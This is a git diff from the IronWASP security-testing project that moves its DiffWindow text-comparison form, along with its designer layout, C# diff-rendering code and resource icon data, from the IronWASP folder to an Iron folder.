this.ClearSourceBtn.UseVisualStyleBackColor = true; + this.ClearSourceBtn.Click += new System.EventHandler(this.ClearSourceBtn_Click); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(3, 2); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(96, 13); + this.label3.TabIndex = 0; + this.label3.Text = "Enter Source Text:"; + // + // DiffDestinationTB + // + this.DiffDestinationTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.DiffDestinationTB.BackColor = System.Drawing.SystemColors.Window; + this.DiffDestinationTB.Location = new System.Drawing.Point(0, 25); + this.DiffDestinationTB.MaxLength = 2147483647; + this.DiffDestinationTB.Multiline = true; + this.DiffDestinationTB.Name = "DiffDestinationTB"; + this.DiffDestinationTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.DiffDestinationTB.Size = new System.Drawing.Size(676, 220); + this.DiffDestinationTB.TabIndex = 4; + // + // PasteDestinationBtn + // + this.PasteDestinationBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.PasteDestinationBtn.Location = new System.Drawing.Point(518, 2); + this.PasteDestinationBtn.Margin = new System.Windows.Forms.Padding(0); + this.PasteDestinationBtn.Name = "PasteDestinationBtn"; + this.PasteDestinationBtn.Size = new System.Drawing.Size(75, 22); + this.PasteDestinationBtn.TabIndex = 3; + this.PasteDestinationBtn.Text = "Paste"; + this.PasteDestinationBtn.UseVisualStyleBackColor = true; + this.PasteDestinationBtn.Click += new System.EventHandler(this.PasteDestinationBtn_Click); + // + // ClearDestinationBtn + // + this.ClearDestinationBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ClearDestinationBtn.Location = new System.Drawing.Point(598, 2); + this.ClearDestinationBtn.Margin = new System.Windows.Forms.Padding(0); + this.ClearDestinationBtn.Name = "ClearDestinationBtn"; + this.ClearDestinationBtn.Size = new System.Drawing.Size(75, 22); + this.ClearDestinationBtn.TabIndex = 2; + this.ClearDestinationBtn.Text = "Clear"; + this.ClearDestinationBtn.UseVisualStyleBackColor = true; + this.ClearDestinationBtn.Click += new System.EventHandler(this.ClearDestinationBtn_Click); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(3, 1); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(115, 13); + this.label4.TabIndex = 1; + this.label4.Text = "Enter Destination Text:"; + // + // DiffStatusTB + // + this.DiffStatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.DiffStatusTB.BackColor = System.Drawing.SystemColors.Control; + this.DiffStatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.DiffStatusTB.Location = new System.Drawing.Point(92, 4); + this.DiffStatusTB.Multiline = true; + this.DiffStatusTB.Name = "DiffStatusTB"; + this.DiffStatusTB.ReadOnly = true; + this.DiffStatusTB.Size = new System.Drawing.Size(400, 26); + this.DiffStatusTB.TabIndex = 6; + // + // textBox2 + // + this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.textBox2.BackColor = System.Drawing.Color.LimeGreen; + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Location = new System.Drawing.Point(498, 1); + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(30, 13); + this.textBox2.TabIndex = 5; + // + // textBox1 + // + this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.textBox1.BackColor = System.Drawing.Color.Orange; + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(602, 1); + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(30, 13); + this.textBox1.TabIndex = 4; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(534, 1); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(45, 13); + this.label2.TabIndex = 3; + this.label2.Text = "Inserted"; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(638, 1); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(44, 13); + this.label1.TabIndex = 2; + this.label1.Text = "Deleted"; + // + // DiffWindowShowDiffBtn + // + this.DiffWindowShowDiffBtn.Location = new System.Drawing.Point(3, 3); + this.DiffWindowShowDiffBtn.Name = "DiffWindowShowDiffBtn"; + this.DiffWindowShowDiffBtn.Size = new System.Drawing.Size(83, 23); + this.DiffWindowShowDiffBtn.TabIndex = 1; + this.DiffWindowShowDiffBtn.Text = "Show Diff"; + this.DiffWindowShowDiffBtn.UseVisualStyleBackColor = true; + this.DiffWindowShowDiffBtn.Click += new System.EventHandler(this.DiffWindowShowDiffBtn_Click); + // + // DiffResultRTB + // + this.DiffResultRTB.BackColor = System.Drawing.Color.White; + this.DiffResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.DiffResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.DiffResultRTB.Location = new System.Drawing.Point(0, 0); + this.DiffResultRTB.Name = "DiffResultRTB"; + this.DiffResultRTB.ReadOnly = true; + this.DiffResultRTB.Size = new System.Drawing.Size(668, 480); + this.DiffResultRTB.TabIndex = 0; + this.DiffResultRTB.Text = ""; + // + // BaseTabs + // + this.BaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BaseTabs.Controls.Add(this.InputTab); + this.BaseTabs.Controls.Add(this.ResultsTab); + this.BaseTabs.Location = new System.Drawing.Point(0, 30); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(684, 532); + this.BaseTabs.TabIndex = 1; + // + // InputTab + // + this.InputTab.Controls.Add(this.DiffWindowLeftSplit); + this.InputTab.Location = new System.Drawing.Point(4, 22); + this.InputTab.Margin = new System.Windows.Forms.Padding(0); + this.InputTab.Name = "InputTab"; + this.InputTab.Size = new System.Drawing.Size(676, 506); + this.InputTab.TabIndex = 0; + this.InputTab.Text = " Input "; + this.InputTab.UseVisualStyleBackColor = true; + // + // ResultsTab + // + this.ResultsTab.Controls.Add(this.ResultsTabs); + this.ResultsTab.Location = new System.Drawing.Point(4, 22); + this.ResultsTab.Margin = new System.Windows.Forms.Padding(0); + this.ResultsTab.Name = "ResultsTab"; + this.ResultsTab.Size = new System.Drawing.Size(676, 506); + this.ResultsTab.TabIndex = 1; + this.ResultsTab.Text = " Results "; + this.ResultsTab.UseVisualStyleBackColor = true; + // + // ResultsTabs + // + this.ResultsTabs.Controls.Add(this.SideBySideTab); + this.ResultsTabs.Controls.Add(this.SinglePageTab); + this.ResultsTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsTabs.Location = new System.Drawing.Point(0, 0); + this.ResultsTabs.Margin = new System.Windows.Forms.Padding(0); + this.ResultsTabs.Name = "ResultsTabs"; + this.ResultsTabs.Padding = new System.Drawing.Point(0, 0); + this.ResultsTabs.SelectedIndex = 0; + this.ResultsTabs.Size = new System.Drawing.Size(676, 506); + this.ResultsTabs.TabIndex = 0; + // + // SideBySideTab + // + this.SideBySideTab.Controls.Add(this.SideBySideSplit); + this.SideBySideTab.Location = new System.Drawing.Point(4, 22); + this.SideBySideTab.Margin = new System.Windows.Forms.Padding(0); + this.SideBySideTab.Name = "SideBySideTab"; + this.SideBySideTab.Size = new System.Drawing.Size(668, 480); + this.SideBySideTab.TabIndex = 0; + this.SideBySideTab.Text = "Side By Side"; + this.SideBySideTab.UseVisualStyleBackColor = true; + // + // SinglePageTab + // + this.SinglePageTab.Controls.Add(this.DiffResultRTB); + this.SinglePageTab.Location = new System.Drawing.Point(4, 22); + this.SinglePageTab.Margin = new System.Windows.Forms.Padding(0); + this.SinglePageTab.Name = "SinglePageTab"; + this.SinglePageTab.Size = new System.Drawing.Size(668, 480); + this.SinglePageTab.TabIndex = 1; + this.SinglePageTab.Text = "Single Page"; + this.SinglePageTab.UseVisualStyleBackColor = true; + // + // textBox3 + // + this.textBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.textBox3.BackColor = System.Drawing.Color.Gray; + this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox3.Location = new System.Drawing.Point(602, 17); + this.textBox3.Name = "textBox3"; + this.textBox3.ReadOnly = true; + this.textBox3.Size = new System.Drawing.Size(30, 13); + this.textBox3.TabIndex = 9; + // + // textBox4 + // + this.textBox4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.textBox4.BackColor = System.Drawing.Color.White; + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Location = new System.Drawing.Point(498, 17); + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(30, 13); + this.textBox4.TabIndex = 10; + // + // label5 + // + this.label5.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(638, 17); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(28, 13); + this.label5.TabIndex = 7; + this.label5.Text = "Filler"; + // + // label6 + // + this.label6.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(534, 17); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(63, 13); + this.label6.TabIndex = 8; + this.label6.Text = "Unchanged"; + // + // DiffWindow + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(684, 562); + this.Controls.Add(this.textBox3); + this.Controls.Add(this.textBox4); + this.Controls.Add(this.label5); + this.Controls.Add(this.label6); + this.Controls.Add(this.textBox1); + this.Controls.Add(this.DiffStatusTB); + this.Controls.Add(this.BaseTabs); + this.Controls.Add(this.textBox2); + this.Controls.Add(this.DiffWindowShowDiffBtn); + this.Controls.Add(this.label1); + this.Controls.Add(this.label2); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "DiffWindow"; + this.Text = "View Diff in Text between a Source and Destination."; + this.SideBySideSplit.Panel1.ResumeLayout(false); + this.SideBySideSplit.Panel2.ResumeLayout(false); + this.SideBySideSplit.ResumeLayout(false); + this.DiffWindowLeftSplit.Panel1.ResumeLayout(false); + this.DiffWindowLeftSplit.Panel1.PerformLayout(); + this.DiffWindowLeftSplit.Panel2.ResumeLayout(false); + this.DiffWindowLeftSplit.Panel2.PerformLayout(); + this.DiffWindowLeftSplit.ResumeLayout(false); + this.BaseTabs.ResumeLayout(false); + this.InputTab.ResumeLayout(false); + this.ResultsTab.ResumeLayout(false); + this.ResultsTabs.ResumeLayout(false); + this.SideBySideTab.ResumeLayout(false); + this.SinglePageTab.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.SplitContainer SideBySideSplit; + private System.Windows.Forms.SplitContainer DiffWindowLeftSplit; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label4; + internal System.Windows.Forms.RichTextBox DiffResultRTB; + private System.Windows.Forms.TabPage InputTab; + private System.Windows.Forms.TabPage ResultsTab; + private System.Windows.Forms.TabControl ResultsTabs; + private System.Windows.Forms.TabPage SideBySideTab; + private System.Windows.Forms.TabPage SinglePageTab; + internal System.Windows.Forms.RichTextBox SourceResultRTB; + internal System.Windows.Forms.RichTextBox DestinationResultRTB; + private System.Windows.Forms.TextBox textBox3; + private System.Windows.Forms.TextBox textBox4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label6; + internal System.Windows.Forms.TabControl BaseTabs; + internal System.Windows.Forms.TextBox DiffStatusTB; + internal System.Windows.Forms.Button DiffWindowShowDiffBtn; + private System.Windows.Forms.Button ClearSourceBtn; + private System.Windows.Forms.Button ClearDestinationBtn; + private System.Windows.Forms.Button PasteSourceBtn; + private System.Windows.Forms.Button PasteDestinationBtn; + internal System.Windows.Forms.TextBox DiffSourceTB; + internal System.Windows.Forms.TextBox DiffDestinationTB; + } } \ No newline at end of file diff --git a/IronWASP/DiffWindow.cs b/Iron/DiffWindow.cs similarity index 97% rename from IronWASP/DiffWindow.cs rename to Iron/DiffWindow.cs index 2260bf0..e88a55a 100644 --- a/IronWASP/DiffWindow.cs +++ b/Iron/DiffWindow.cs @@ -1,241 +1,241 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see . -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; -using DiffPlex; -using DiffPlex.DiffBuilder; -using DiffPlex.DiffBuilder.Model; - -namespace IronWASP -{ - public partial class DiffWindow : Form - { - public DiffWindow() - { - InitializeComponent(); - } - - string SourceText = ""; - string DestinationText = ""; - - internal static Thread T; - - private void DiffWindowShowDiffBtn_Click(object sender, EventArgs e) - { - DiffWindowShowDiffBtn.Enabled = false; - DiffStatusTB.Text = "Calculating Diff......"; - SourceText = IronUI.DW.DiffSourceTB.Text; - DestinationText = IronUI.DW.DiffDestinationTB.Text; - T = new Thread(DoDiff); - T.Start(); - } - - void DoDiff() - { - string SinglePage = ""; - string[] SideBySideResults = new string[] { "", "", "" }; - string Status = "Done"; - try - { - SinglePage = DoSinglePageDiff(SourceText, DestinationText); - SideBySideResults = DoSideBySideDiff(SourceText, DestinationText); - Status = string.Format("Done. Diff Level - {0}% ", SideBySideResults[2]); - } - catch(Exception Exp) - { - Status = "Error: " + Exp.Message; - } - IronUI.ShowDiffResults(Status, SideBySideResults[0], SideBySideResults[1], SinglePage); - } - - internal static string[] DoSideBySideDiff(string SourceText, string DestinationText) - { - string[] Result = new string[3]; - Differ DiffMaker = new Differ(); - SideBySideDiffBuilder SideBySideDiffer = new SideBySideDiffBuilder(DiffMaker); - SideBySideDiffModel SideBySideDiffResult = SideBySideDiffer.BuildDiffModel(SourceText, DestinationText); - int DiffLevel = IronDiffer.GetLevel(SideBySideDiffResult, SourceText, DestinationText); - Result[0] = FullDiff(SideBySideDiffResult.OldText.Lines); - Result[1] = FullDiff(SideBySideDiffResult.NewText.Lines); - Result[2] = DiffLevel.ToString(); - return Result; - } - - internal static string FullDiff(List Lines) - { - int MaxLineLength = 0; - string CurrentFillerString = ""; - - StringBuilder DR = new StringBuilder(@"{\rtf1{\colortbl ;\red50\green205\blue50;\red255\green165\blue0;\red190\green190\blue190;}"); - foreach (DiffPiece Line in Lines) - { - MaxLineLength = GetMaxLength(MaxLineLength, Line.Text); - switch (Line.Type) - { - case ChangeType.Deleted: - DR.Append(@"\highlight2 "); DR.Append(Tools.RtfSafe(Line.Text)); DR.Append(@" \highlight0 \par "); - break; - case ChangeType.Inserted: - DR.Append(@"\highlight1 "); DR.Append(Tools.RtfSafe(Line.Text)); DR.Append(@" \highlight0 \par "); - break; - case ChangeType.Modified: - DR.Append(LineDiff(Line)); DR.Append(@" \par "); - break; - case ChangeType.Unchanged: - DR.Append(Tools.RtfSafe(Line.Text)); DR.Append(@" \par "); - break; - case ChangeType.Imaginary: - DR.Append(@"\highlight3 "); DR.Append(GetFillerLine(MaxLineLength, CurrentFillerString)); DR.Append(@" \highlight0 \par "); - break; - } - } - return DR.ToString(); - } - - internal static int GetMaxLength(int CurrentMaxLength, string Line) - { - if (Line == null) Line = ""; - int Length = 0; - if (Line.Length > CurrentMaxLength) - { - Length = Line.Length; - } - else - { - Length = CurrentMaxLength; - } - return Length; - } - - internal static string GetFillerLine(int MaxLineLength, string CurrentFillerString) - { - if (MaxLineLength == CurrentFillerString.Length) return CurrentFillerString; - StringBuilder Line = new StringBuilder(); - for (int i = 0; i < MaxLineLength; i++) - { - Line.Append(" "); - } - return Line.ToString(); - } - - internal static string LineDiff(DiffPiece Line) - { - StringBuilder DR = new StringBuilder(); - foreach (DiffPiece Word in Line.SubPieces) - { - switch (Word.Type) - { - case ChangeType.Deleted: - DR.Append(@"\highlight2 "); DR.Append(Tools.RtfSafe(Word.Text)); DR.Append(@" \highlight0 "); - break; - case ChangeType.Inserted: - DR.Append(@"\highlight1 "); DR.Append(Tools.RtfSafe(Word.Text)); DR.Append(@" \highlight0 "); - break; - case ChangeType.Imaginary: - break; - case ChangeType.Unchanged: - DR.Append(Tools.RtfSafe(Word.Text)); - break; - case ChangeType.Modified: - DR.Append(Tools.RtfSafe(Word.Text)); - break; - } - } - return DR.ToString(); - } - - internal static string DoSinglePageDiff(string SourceText, string DestinationText) - { - DiffResult DResult = Tools.Diff(SourceText, DestinationText); - int TotalDestLines = DResult.UnChanged.Count + DResult.Inserted.Count; - StringBuilder Result = new StringBuilder(@"{\rtf1{\colortbl ;\red50\green205\blue50;\red255\green165\blue0;}"); - for (int i = 0; i < TotalDestLines; i++) - { - int LineNo = i + 1; - string LineNoString = GetLineNoString(LineNo); - if (DResult.UnChanged.Contains(LineNo)) - { - Result.Append(LineNoString); Result.Append(Tools.RtfSafe(DResult.UnChangedSections[DResult.UnChanged.IndexOf(LineNo)])); Result.Append(@" \par "); - } - if (DResult.MissingAt.Contains(LineNo)) - { - int Pointer = 0; - while ((Pointer = DResult.MissingAt.IndexOf(LineNo, Pointer)) > -1) - { - Result.Append(" "); Result.Append(@"\highlight2 "); Result.Append(Tools.RtfSafe(DResult.DeletedSections[Pointer])); Result.Append(@" \highlight0 \par "); - Pointer++; - } - } - if (DResult.Inserted.Contains(i + 1)) - { - Result.Append(LineNoString); Result.Append(@"\highlight1 "); Result.Append(Tools.RtfSafe(DResult.InsertedSections[DResult.Inserted.IndexOf(LineNo)])); Result.Append(@" \highlight0 \par "); - } - } - return Result.ToString(); - } - - static string GetLineNoString(int LineNo) - { - string LineNoStr = LineNo.ToString(); - int LengthDiff = 6 - LineNoStr.Length; - StringBuilder Line = new StringBuilder(LineNoStr); - for (int i = 0; i < LengthDiff; i++) - { - Line.Append(" "); - } - return Line.ToString(); - } - - private void ClearSourceBtn_Click(object sender, EventArgs e) - { - DiffSourceTB.Text = ""; - } - - private void ClearDestinationBtn_Click(object sender, EventArgs e) - { - DiffDestinationTB.Text = ""; - } - - private void PasteSourceBtn_Click(object sender, EventArgs e) - { - DiffSourceTB.Text = ""; - try - { - DiffSourceTB.Text = Clipboard.GetText(); - } - catch { } - } - - private void PasteDestinationBtn_Click(object sender, EventArgs e) - { - DiffDestinationTB.Text = ""; - try - { - DiffDestinationTB.Text = Clipboard.GetText(); - } - catch { } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see . +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; +using DiffPlex; +using DiffPlex.DiffBuilder; +using DiffPlex.DiffBuilder.Model; + +namespace IronWASP +{ + public partial class DiffWindow : Form + { + public DiffWindow() + { + InitializeComponent(); + } + + string SourceText = ""; + string DestinationText = ""; + + internal static Thread T; + + private void DiffWindowShowDiffBtn_Click(object sender, EventArgs e) + { + DiffWindowShowDiffBtn.Enabled = false; + DiffStatusTB.Text = "Calculating Diff......"; + SourceText = IronUI.DW.DiffSourceTB.Text; + DestinationText = IronUI.DW.DiffDestinationTB.Text; + T = new Thread(DoDiff); + T.Start(); + } + + void DoDiff() + { + string SinglePage = ""; + string[] SideBySideResults = new string[] { "", "", "" }; + string Status = "Done"; + try + { + SinglePage = DoSinglePageDiff(SourceText, DestinationText); + SideBySideResults = DoSideBySideDiff(SourceText, DestinationText); + Status = string.Format("Done. Diff Level - {0}% ", SideBySideResults[2]); + } + catch(Exception Exp) + { + Status = "Error: " + Exp.Message; + } + IronUI.ShowDiffResults(Status, SideBySideResults[0], SideBySideResults[1], SinglePage); + } + + internal static string[] DoSideBySideDiff(string SourceText, string DestinationText) + { + string[] Result = new string[3]; + Differ DiffMaker = new Differ(); + SideBySideDiffBuilder SideBySideDiffer = new SideBySideDiffBuilder(DiffMaker); + SideBySideDiffModel SideBySideDiffResult = SideBySideDiffer.BuildDiffModel(SourceText, DestinationText); + int DiffLevel = IronDiffer.GetLevel(SideBySideDiffResult, SourceText, DestinationText); + Result[0] = FullDiff(SideBySideDiffResult.OldText.Lines); + Result[1] = FullDiff(SideBySideDiffResult.NewText.Lines); + Result[2] = DiffLevel.ToString(); + return Result; + } + + internal static string FullDiff(List Lines) + { + int MaxLineLength = 0; + string CurrentFillerString = ""; + + StringBuilder DR = new StringBuilder(@"{\rtf1{\colortbl ;\red50\green205\blue50;\red255\green165\blue0;\red190\green190\blue190;}"); + foreach (DiffPiece Line in Lines) + { + MaxLineLength = GetMaxLength(MaxLineLength, Line.Text); + switch (Line.Type) + { + case ChangeType.Deleted: + DR.Append(@"\highlight2 "); DR.Append(Tools.RtfSafe(Line.Text)); DR.Append(@" \highlight0 \par "); + break; + case ChangeType.Inserted: + DR.Append(@"\highlight1 "); DR.Append(Tools.RtfSafe(Line.Text)); DR.Append(@" \highlight0 \par "); + break; + case ChangeType.Modified: + DR.Append(LineDiff(Line)); DR.Append(@" \par "); + break; + case ChangeType.Unchanged: + DR.Append(Tools.RtfSafe(Line.Text)); DR.Append(@" \par "); + break; + case ChangeType.Imaginary: + DR.Append(@"\highlight3 "); DR.Append(GetFillerLine(MaxLineLength, CurrentFillerString)); DR.Append(@" \highlight0 \par "); + break; + } + } + return DR.ToString(); + } + + internal static int GetMaxLength(int CurrentMaxLength, string Line) + { + if (Line == null) Line = ""; + int Length = 0; + if (Line.Length > CurrentMaxLength) + { + Length = Line.Length; + } + else + { + Length = CurrentMaxLength; + } + return Length; + } + + internal static string GetFillerLine(int MaxLineLength, string CurrentFillerString) + { + if (MaxLineLength == CurrentFillerString.Length) return CurrentFillerString; + StringBuilder Line = new StringBuilder(); + for (int i = 0; i < MaxLineLength; i++) + { + Line.Append(" "); + } + return Line.ToString(); + } + + internal static string LineDiff(DiffPiece Line) + { + StringBuilder DR = new StringBuilder(); + foreach (DiffPiece Word in Line.SubPieces) + { + switch (Word.Type) + { + case ChangeType.Deleted: + DR.Append(@"\highlight2 "); DR.Append(Tools.RtfSafe(Word.Text)); DR.Append(@" \highlight0 "); + break; + case ChangeType.Inserted: + DR.Append(@"\highlight1 "); DR.Append(Tools.RtfSafe(Word.Text)); DR.Append(@" \highlight0 "); + break; + case ChangeType.Imaginary: + break; + case ChangeType.Unchanged: + DR.Append(Tools.RtfSafe(Word.Text)); + break; + case ChangeType.Modified: + DR.Append(Tools.RtfSafe(Word.Text)); + break; + } + } + return DR.ToString(); + } + + internal static string DoSinglePageDiff(string SourceText, string DestinationText) + { + DiffResult DResult = Tools.Diff(SourceText, DestinationText); + int TotalDestLines = DResult.UnChanged.Count + DResult.Inserted.Count; + StringBuilder Result = new StringBuilder(@"{\rtf1{\colortbl ;\red50\green205\blue50;\red255\green165\blue0;}"); + for (int i = 0; i < TotalDestLines; i++) + { + int LineNo = i + 1; + string LineNoString = GetLineNoString(LineNo); + if (DResult.UnChanged.Contains(LineNo)) + { + Result.Append(LineNoString); Result.Append(Tools.RtfSafe(DResult.UnChangedSections[DResult.UnChanged.IndexOf(LineNo)])); Result.Append(@" \par "); + } + if (DResult.MissingAt.Contains(LineNo)) + { + int Pointer = 0; + while ((Pointer = DResult.MissingAt.IndexOf(LineNo, Pointer)) > -1) + { + Result.Append(" "); Result.Append(@"\highlight2 "); Result.Append(Tools.RtfSafe(DResult.DeletedSections[Pointer])); Result.Append(@" \highlight0 \par "); + Pointer++; + } + } + if (DResult.Inserted.Contains(i + 1)) + { + Result.Append(LineNoString); Result.Append(@"\highlight1 "); Result.Append(Tools.RtfSafe(DResult.InsertedSections[DResult.Inserted.IndexOf(LineNo)])); Result.Append(@" \highlight0 \par "); + } + } + return Result.ToString(); + } + + static string GetLineNoString(int LineNo) + { + string LineNoStr = LineNo.ToString(); + int LengthDiff = 6 - LineNoStr.Length; + StringBuilder Line = new StringBuilder(LineNoStr); + for (int i = 0; i < LengthDiff; i++) + { + Line.Append(" "); + } + return Line.ToString(); + } + + private void ClearSourceBtn_Click(object sender, EventArgs e) + { + DiffSourceTB.Text = ""; + } + + private void ClearDestinationBtn_Click(object sender, EventArgs e) + { + DiffDestinationTB.Text = ""; + } + + private void PasteSourceBtn_Click(object sender, EventArgs e) + { + DiffSourceTB.Text = ""; + try + { + DiffSourceTB.Text = Clipboard.GetText(); + } + catch { } + } + + private void PasteDestinationBtn_Click(object sender, EventArgs e) + { + DiffDestinationTB.Text = ""; + try + { + DiffDestinationTB.Text = Clipboard.GetText(); + } + catch { } + } + } +} diff --git a/Iron/DiffWindow.resx b/Iron/DiffWindow.resx new file mode 100644 index 0000000..c0d1bbb --- /dev/null +++ b/Iron/DiffWindow.resx @@ -0,0 +1,1918 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TxvRl0/20ZdP1NGXT9TRl0/20ZdPGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADRl0+K0ZdP/9GXT9TRl0/U0ZdP/9GXT4oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0smj3FNlNGXT//Rl0/U0ZdP1NGXT/+OcU2VS0tLJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLo0xLS8XRl0/Q0ZdP1NGXT9TRl0/QTEtLx0tLS6IAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLJ0tLS/xLS0v/mHZNj9GXT7TRl0+0lnVNk0tLS/9LS0v8S0tLJwAAAAAAAAAAAAAAAAAA + 